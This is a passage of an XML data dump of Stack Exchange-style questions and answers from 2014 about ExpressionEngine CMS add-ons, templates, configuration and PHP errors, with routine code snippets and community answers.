1 data into hidden elements, and copy the data over, using javascript/jQuery, to your page 2 fields after checking your checkbox. What would link both elements could be a matching class name. Eg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; class=&quot;origin my_field_from_page1&quot; disabled=&quot;disabled&quot; value=&quot;{freeform:mp_data:MY_FIELD_FROM_PAGE1}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;MY_FIELD_FOR_PAGE2&quot; class=&quot;target my_field_from_page1&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since both fields have the same class name, javascript/jQuery could take care of copying the value in the &lt;code&gt;input.origin&lt;/code&gt; field over to the &lt;code&gt;input.target&lt;/code&gt; (i.e. &lt;em&gt;take the value of the origin field and copy it to a target field with a matching class of X&lt;/em&gt;). Instead of classes, you could alternatively use data- attributes as well. Many ways for this to work.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-17T14:14:17.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26296" PostTypeId="1" CreationDate="2014-10-17T14:17:47.027" Score="0" ViewCount="127" Body="&lt;p&gt;I'm using EE 2.9.0 and CE IMG 2.4.5. The primary site has no issues with CE image and the secondary site works great except the secondary site is writing the images to the default site images directory. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// main config.php&#xA;&#xA;$config['ce_image_src_regex'] = array(&#xA;'^http://cps.domain.org/' =&amp;gt; '/chroot/home/siterootfolder/domain.org/html/cps/',&#xA;'^http://devwww.domain.org/' =&amp;gt; '/chroot/home/siterootfolder/domain.org/html/devwww/'&#xA;);&#xA;&#xA;$config['ce_image_document_root'] = '/chroot/home/siterootfolder/domain.org/html/devwww/';&#xA;&#xA;// root index.php on sub-site&#xA;$assign_to_config['global_vars'] = array(); // This array must be associative&#xA;$assign_to_config['global_vars']['ce_image_document_root'] = '     /chroot/home/siterootfolder/domain.org/html/cps/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file path for the images is outputting, however, being written to the default site. I tried every variation of the above with no avail. Another thing worth mentioning is that these sites are hosted at Nexcess. I tried all the documentation for re: Nexcess. Still no luck. &lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2015-01-20T04:35:38.910" Title="EE MSM CE Image path incorrect" Tags="|ee2|multi-site-manager|ce-image|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26297" PostTypeId="2" ParentId="26292" CreationDate="2014-10-17T14:19:40.790" Score="0" Body="&lt;p&gt;It seems like you're going to make a channel for zip codes and each entry is a separate zip, so I think what you're looking for is &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&quot; rel=&quot;nofollow&quot;&gt;Publish Layouts&lt;/a&gt;. Then you can customize the way the entries for that channel display based on member group, hiding fields and tabs that you don't want visible for the client.  &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-10-17T14:19:40.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26298" PostTypeId="2" ParentId="26292" CreationDate="2014-10-17T14:29:29.423" Score="0" Body="&lt;p&gt;Welcome to EE... I'll start by saying that in my opinion EE is not &quot;meant to be used&quot; in any particular way and is usually flexible enough to do things whichever way you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As already mentioned, you can use Publish Layouts to hide the URL Title field and Expiration Date etc. If this is not enough you can go off-piste and create your own standalone entry forms on the front end with &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html&quot; rel=&quot;nofollow&quot;&gt;Channel Form&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, by the sound of it, maybe using a mapping fieldtype such as &lt;a href=&quot;http://devot-ee.com/add-ons/google-maps&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/google-maps&lt;/a&gt; might be better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think it's more appropriate you might want to consider using EE's categories system instead - adding each Zip Code as a category and then assigning each Service entry to the relevant categories. Bear in mind that this reduces your future flexibility a little bit since categories are less powerful than channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also opt for a third party Tagging solution such as &lt;a href=&quot;http://devot-ee.com/add-ons/tagger&quot; rel=&quot;nofollow&quot;&gt;Tagger&lt;/a&gt; - again, similar to categories but at a lower level/more free-form kind of organisation.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-10-17T14:29:29.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26301" PostTypeId="1" CreationDate="2014-10-17T16:24:06.657" Score="0" ViewCount="91" Body="&lt;p&gt;A client uses the purchased_item_notes field for customer order notes, and would like to export those in the order reports. This purchased_item_notes content displays on the CMS view of the generated order report, but when you export to CSV, the file trims away the data from that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to alter the CSV export settings to include all the data in the generated report?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using CartThrob Order Manager 2.5 and EE 2.8.1.&lt;/p&gt;&#xA;" OwnerUserId="3704" LastActivityDate="2016-05-31T14:47:31.953" Title="Altering CartThrob CSV export settings" Tags="|cartthrob|csv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26302" PostTypeId="1" CreationDate="2014-10-17T17:33:32.383" Score="0" ViewCount="41" Body="&lt;p&gt;I'm really struggling to output a parent field value within a Playa tag pair. I've had to resort to using php in my template to do this. Is there a way I can do this without using php in my template? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to enable php and do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $parent_field = {parent_field} ?&amp;gt;&#xA;{playa_field}&#xA;    &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title} &amp;lt;?php echo $parent_field ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/playa_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As this doesn't output the {parent_field} content within the tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{playa_field}&#xA;    &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title} {parent_field}&amp;lt;/a&amp;gt;&#xA;{/playa_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3566" LastActivityDate="2015-04-18T18:30:43.477" Title="How to output a 'parent field' value in a Playa Tag Pair?" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26304" PostTypeId="1" CreationDate="2014-10-18T00:11:17.403" Score="0" ViewCount="312" Body="&lt;p&gt;I'm new to Cartthrob, what an amazing product. I'd like to incorporate Stripe's Checkout API as a way to have my client's checkout. It's beautiful, and very easy to use - but I can't figure out how to integrate the API into Cartthrob. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information can be found here: &lt;a href=&quot;https://stripe.com/docs/checkout&quot; rel=&quot;nofollow&quot;&gt;https://stripe.com/docs/checkout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you offer support for this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;-Nick&lt;/p&gt;&#xA;" OwnerUserId="3708" LastActivityDate="2014-10-18T20:36:11.890" Title="Cartthrob Stripe Checkout API" Tags="|checkout|stripe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26306" PostTypeId="1" CreationDate="2014-10-18T09:29:43.550" Score="1" ViewCount="76" Body="&lt;p&gt;We are using Andrew Weaver's DataGrab to upload about 50 fields via a spreadsheet - all works fine (great plugin btw) - what we need though is to somehow do the reverse process: basically take the submitted channel entries, but only ones assigned to the logged in author and output them as a csv?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew has a plugin ‘Export’ but it seems rudimentary and the channel I need to download info on has 50 fields, plus some categories and must be in a category the logged in author is assigned to. Not sure that would do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have ideas or done something similar?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-10-20T13:33:43.707" Title="Download channel fields to csv file?" Tags="|csv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26308" PostTypeId="2" ParentId="26285" CreationDate="2014-10-18T17:15:05.847" Score="0" Body="&lt;p&gt;You do not want to wrap order specific tags (promo_code, order_total, etc) within the items loop as they won't show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get custom fields in your email templates you will need to pass the entry_id to a channel entries tag and then have order specific items outside of the items loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;  {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;    {custom_image_field} - {price} - {title}&#xA;  {/exp:channel:entries}&#xA;{/items}&#xA;&#xA;Promo Code: {promo_code}&#xA;Order Total: {order_total}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-10-18T17:15:05.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26309" PostTypeId="2" ParentId="26304" CreationDate="2014-10-18T20:36:11.890" Score="1" Body="&lt;p&gt;CartThrob already has a Stripe Payment Gateway you will want to follow &lt;a href=&quot;http://cartthrob.com/docs/pages/payments/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/pages/payments/index.html&lt;/a&gt; to enable the Stripe gateway on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't need it but if you were interested in developing your own gateway you would want to follow their &lt;a href=&quot;http://cartthrob.com/docs/developers/payment_gateways/index.html&quot; rel=&quot;nofollow&quot;&gt;Payment Gateway Plugin API&lt;/a&gt; guidelines.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-10-18T20:36:11.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26312" PostTypeId="1" AcceptedAnswerId="26348" CreationDate="2014-10-19T17:35:19.270" Score="1" ViewCount="109" Body="&lt;p&gt;Using GWCode Categories for the first time and it doesn't seem to be working at all. I've installed the plugin (can see it in add-ons / plugins) and running {exp:gwcode_categories}{/exp:gwcode_categories} or any other tag doesn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.7.3 and 1.8.9 for GWCode Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2014-10-20T21:57:22.560" Title="GWCode Categories - No Results" Tags="|gwcode-categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26313" PostTypeId="1" AcceptedAnswerId="26403" CreationDate="2014-10-19T19:18:58.743" Score="0" ViewCount="63" Body="&lt;p&gt;I have the following line in my template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;li class=&quot;{if node_has_children}has-dropdown{/if}{if node_id == {lv-seg1-taxonomy-node-id}} is-lvl1-active{/if}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The conditional that contains the Low Variable&#xA;&lt;strong&gt;{if node_id == {lv-seg1-taxonomy-node-id}} is-lvl1-active{/if}&lt;/strong&gt; always returns true despite {node_id} != {lv-seg1-taxonomy-node-id} when output into the template, and I always get the is-lvl1-active class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The contents of the LV is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'youth'}41{if:elseif segment_1 == 'open'}42{if:elseif segment_1 == 'competition'}43{if:elseif segment_1 == 'theme'}44{if:elseif segment_1 == 'films'}45{if:elseif segment_1 == 'news'}46{if:else}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Low Variable is set to early parse. How do I compare its output to a tag in the main template?&lt;/p&gt;&#xA;" OwnerUserId="728" LastActivityDate="2014-10-24T08:19:50.660" Title="How to write a conditional in template code evaluating the result of a Low Variable containing a conditional?" Tags="|low-variables|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26315" PostTypeId="1" AcceptedAnswerId="26368" CreationDate="2014-10-19T23:56:23.930" Score="3" ViewCount="1864" Body="&lt;p&gt;I got to work this morning and, after upgrading to Yosemite and MAMP Pro, I am getting a series of PHP Errors and cannot get access to to CP (returns blank page).&#xA;The frontend of the site itself is fetching data from the DB but the issue appears to be with the config file? I'm using FocusLabs Master Config too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first error is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Only variable references should be returned by reference&#xA;Filename: core/Common.php&#xA;Line Number: 242&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The warnings after that are &quot;Cannot modify header information&quot; warnings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Users/bjh/github/beacon/lighthouse/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Input.php&#xA;Line Number: 212&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Users/bjh/github/beacon/lighthouse/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Input.php&#xA;Line Number: 212&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Users/bjh/github/beacon/lighthouse/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Input.php&#xA;Line Number: 212&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Users/bjh/github/beacon/lighthouse/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Input.php&#xA;Line Number: 212&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Users/bjh/github/beacon/lighthouse/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 446&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After pulling the working copy of our site from the dev server and copying the DB it appears as though this issue is only occurring locally. :-/&lt;/p&gt;&#xA;" OwnerUserId="1465" LastEditorUserId="1465" LastEditDate="2014-10-20T00:45:14.500" LastActivityDate="2015-05-28T04:59:05.177" Title="PHP Errors after OS X Upgrade" Tags="|control-panel|focus-lab-master-config|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26316" PostTypeId="2" ParentId="26312" CreationDate="2014-10-20T00:51:25.733" Score="2" Body="&lt;p&gt;Could you send your related code to help you with the GWCode Categories problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using only ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories}{/exp:gwcode_categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only using this code will not display nothing. You have to put parameter and code inside to achieve your wish.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:gwcode_categories entry_id=&quot;19&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;li&amp;gt;{cat_name}&amp;lt;/li&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-10-20T00:56:49.213" LastActivityDate="2014-10-20T00:56:49.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26317" PostTypeId="1" CreationDate="2014-10-20T02:07:34.047" Score="2" ViewCount="300" Body="&lt;p&gt;I've been using Structure to build EE sites for a long time, but on my biggest site I've run into a recurring Structure bug that they can't seem to reproduce or fix and it looks like I'll have no choice but to redevelop parts of the site using an alternative add-on that's more stable for me needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those interested, here's the catastrophic bug I've been encountering: &lt;a href=&quot;https://structure.tenderapp.com/discussions/problems/7616-all-entries-in-structure-managed-channel-suddenly-closed-and-all-structure-data-lost/page/1&quot; rel=&quot;nofollow&quot;&gt;https://structure.tenderapp.com/discussions/problems/7616-all-entries-in-structure-managed-channel-suddenly-closed-and-all-structure-data-lost/page/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a good alternative to Structure that would allow me to easily view managed pages in a nice Structure like page tree, and something that also provides per-page template selection and templategroup/template URL independence?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-10-24T19:32:04.667" Title="Alternatives to Structure add-on?" Tags="|structure|pages|page-uri|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26318" PostTypeId="2" ParentId="26315" CreationDate="2014-10-20T02:51:19.697" Score="-1" Body="&lt;p&gt;Try to set permissions on the local cache folder to 777.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-10-20T02:51:19.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26319" PostTypeId="1" AcceptedAnswerId="26320" CreationDate="2014-10-20T06:23:32.460" Score="0" ViewCount="40" Body="&lt;p&gt;I have a snippet used for navigation that causes a &quot;blank&quot; bit of text to be inserted into the rendered DOM when the encoding for the snippet file is set to utf-8 but not when the snippet encoding is set to ANSI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template the snippet is in is set to utf-8 and it renders like this in ALL browsers but you can only see the &quot;blank&quot; when using the webdeveloper tools in Chrome (see screenshot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bTUTm.jpg&quot; alt=&quot;blank line before snippet&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Never seen this before but it is my first site using EE 2.9.2. Have not tested in other versions yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details: EE 2.9.2, Bootstrap 3.2.0, SnippetSync 1.1.3&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2014-10-20T06:48:05.357" Title="Snippet encoded as utf-8 causes blank text to be inserted above it" Tags="|ee2|snippets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26320" PostTypeId="2" ParentId="26319" CreationDate="2014-10-20T06:48:05.357" Score="0" Body="&lt;p&gt;Snippet file needs to be set for &lt;strong&gt;UTF-8 without BOM&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested on other verions of EE and got consistent results until the snippet was encoded as UTF-8 without BOM.&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2014-10-20T06:48:05.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26321" PostTypeId="2" ParentId="26315" CreationDate="2014-10-20T08:10:58.270" Score="0" Body="&lt;p&gt;I'm guessing that your system is using the bundled version of Apache/PHP rather than MAMP's version. You need to stop (and disable) the system version and ensure the MAMP version is started.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-20T08:10:58.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26322" PostTypeId="2" ParentId="26317" CreationDate="2014-10-20T08:13:35.963" Score="1" Body="&lt;p&gt;Try the built in Pages module. The UI isn't quite the same as Structure but you can see a tree like layout of the site if you wish. In reality I've found that nobody has really  missed Structure's apparent convenience.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-10-20T09:56:45.167" LastActivityDate="2014-10-20T09:56:45.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26323" PostTypeId="2" ParentId="26317" CreationDate="2014-10-20T08:30:00.600" Score="2" Body="&lt;p&gt;I also use Structure for a long time but I'm now trying NavEE and I must say it looks great. I follow your problem with Structure for a while now and that's why i am looking for an alternative to Structure.&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-10-20T08:30:00.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26324" PostTypeId="1" CreationDate="2014-10-20T09:21:20.777" Score="1" ViewCount="253" Body="&lt;p&gt;In &lt;a href=&quot;http://squarebit.co.uk/addons/shortlist&quot; rel=&quot;nofollow&quot;&gt;Shortlist&lt;/a&gt; the {exp:shortlist:view} tag extends the channel-&gt;entries() method for it's parsing needs. This works and allows for full custom tag parsing without much extra effort, but runs into issues when formatting extra &lt;em&gt;date&lt;/em&gt; variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the view loop we provide an extra variable &lt;em&gt;{entry_real_date}&lt;/em&gt; which is the actual date for the entry (vs. the date it was added to a list). The parser never see's our custom variable as a date variable, so ignores any &lt;em&gt;format&lt;/em&gt; param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{entry_real_date format=&quot;%n %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is never parsed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a normal situation where we're applying our own tag parsing, we'd be able do something like : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tagdata = ee()-&amp;gt;TMPL-&amp;gt;parse_date_variables($tagdata, $dates);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but with in the channel-&gt;entries() usage we can't get access to the raw parsing to do this. The parser does look for custom date variables, but only within the context of &lt;em&gt;custom fields&lt;/em&gt;, so our dynamically attached variable is never handled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From digging I can find no way to mark our custom variable as a date variable to enable that format parsing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this and handled it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on EE2.8+&lt;/p&gt;&#xA;" OwnerUserId="1111" LastEditorUserId="1111" LastEditDate="2014-10-20T11:39:52.103" LastActivityDate="2014-10-20T11:40:59.600" Title="Formatting custom date fields within channel entries row hook" Tags="|templates|add-on-development|date|date-format|parsing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26325" PostTypeId="1" CreationDate="2014-10-20T10:01:46.493" Score="4" ViewCount="357" Body="&lt;p&gt;I need to use the channel entries API to save a relationship between two channels. &#xA;I create an entry to channel A and then I create an entry to Channel B, channel B has a relationship field that needs to be set to point to the entry on Channel A. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create the entries with the save_entry() function, but I can't decipher how to set the relationship field on Channel B to Channel A. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My process is: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I create the entry on Channel A I use the entry ID and pass it as the value of Channel B's relationship field. This does not work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $channel_b_entry = array(&#xA;        'title' =&amp;gt; $data['title'],&#xA;        'field_id_26' =&amp;gt; $data['type'],&#xA;        'field_id_29' =&amp;gt; $data['channel_a_entry_id'],&#xA;        'field_ft_29' =&amp;gt; 'xhtml',            &#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case field_id_29 is a relationship field to channel A entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried passing the id as an array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $channel_b_entry = array(&#xA;        'title' =&amp;gt; $data['title'],&#xA;        'field_id_26' =&amp;gt; $data['type'],&#xA;        'field_id_29' =&amp;gt; array($data['channel_a_entry_id']),&#xA;        'field_ft_29' =&amp;gt; 'xhtml',            &#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that didn't work either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to setup the relationship my self to the exp_relationship table, or the save_entry() takes care of that? &lt;/p&gt;&#xA;" OwnerUserId="3712" LastActivityDate="2017-06-29T12:12:22.067" Title="How do I save a relationship field with save_entry()" Tags="|channel-entries-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26326" PostTypeId="1" CreationDate="2014-10-20T10:41:53.163" Score="2" ViewCount="42" Body="&lt;p&gt;Is automatic indexing possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to ftp files up and not have to worry about going into control panel and indexing to get them to pull through on the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wouldnt be a problem if it was just me. BUT other people will be uploading to the directory and &quot;they dont want to be going into the control panel and indexing everytime&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2014-10-20T10:41:53.163" Title="Automatic Indexing Assets" Tags="|assets|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26327" PostTypeId="2" ParentId="26324" CreationDate="2014-10-20T11:40:59.600" Score="1" Body="&lt;p&gt;My pragmatic solution would be to just enable PHP on output.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2014-10-20T11:40:59.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26328" PostTypeId="2" ParentId="26245" CreationDate="2014-10-20T13:16:46.220" Score="1" Body="&lt;p&gt;After playing around and learning about SQL I have found solution . It works. For thouse who are strangling here it is. Please NOTE the difference from the above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DATE_FORMAT(DATE_ADD(from_unixtime(cd.field_id_454), INTERVAL 6 HOUR),'%h:%i %p') AS 'Start Time',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-10-20T13:16:46.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26329" PostTypeId="1" CreationDate="2014-10-20T13:28:07.417" Score="0" ViewCount="530" Body="&lt;p&gt;I've got an advanced search set up on my site, using Solspace's Supersearch, in which I'd like to filter the results based on input from multiple checkboxes associated with a single field. The code is based on the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;{path='search/results'}/&quot; id=&quot;adv-form&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;inclusive_keywords&quot; value=&quot;no&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_post&quot; value=&quot;yes&quot; /&amp;gt;&#xA;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;my_field_name[]&quot; value=&quot;value1&quot; /&amp;gt;Value 1 &amp;lt;/label&amp;gt;&#xA;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;my_field_name[]&quot; value=&quot;value2&quot; /&amp;gt;Value 2 &amp;lt;/label&amp;gt;&#xA;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;my_field_name[]&quot; value=&quot;value3&quot; /&amp;gt;Value 3 &amp;lt;/label&amp;gt;&#xA;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;my_field_name[]&quot; value=&quot;value4&quot; /&amp;gt;Value 4 &amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;submit&quot; id=&quot;submit&quot; name=&quot;submit_adv&quot; value=&quot;Search Our Directory&quot;/&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have entries with &quot;Value 1&quot; checked and no entries with &quot;Value 2&quot; checked. Searching for &quot;Value 1&quot; works, searching for &quot;Value 2&quot; gives me no results which is also fine. The problem is that when both &quot;Value 1&quot; and &quot;Value 2&quot; are checked my results are filtered for &quot;Value 1&quot; when I would expect it to give me no results. &lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2021-06-19T17:05:05.470" Title="Filtering of search results based on multiple checkbox entries per field in Supersearch" Tags="|solspace|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
